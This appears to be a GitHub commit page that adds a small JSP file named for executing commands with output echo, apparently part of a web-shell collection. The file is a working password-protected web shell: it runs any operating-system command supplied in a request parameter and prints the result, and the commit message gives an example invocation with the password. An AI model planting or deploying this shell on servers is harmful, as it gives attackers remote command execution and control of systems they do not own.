Skip to content

Commit e2ff04c

Browse files
committed
Create 带回显执行cmd.jsp
hello.jsp?i=ls&pwd=023
1 parent c360bca commit e2ff04c

File tree

1 file changed

+10
-0
lines changed

1 file changed

+10
-0
lines changed

Jsp/带回显执行cmd.jsp

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
<% if("023".equals(request.getParameter("pwd"))){
2+
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
3+
int a = -1;
4+
byte[] b = new byte[2048];
5+
out.print("<pre>");
6+
while((a=in.read(b))!=-1){
7+
out.println(new String(b));
8+
}
9+
out.print("</pre>");
10+
} %>

0 commit comments

Comments
 (0)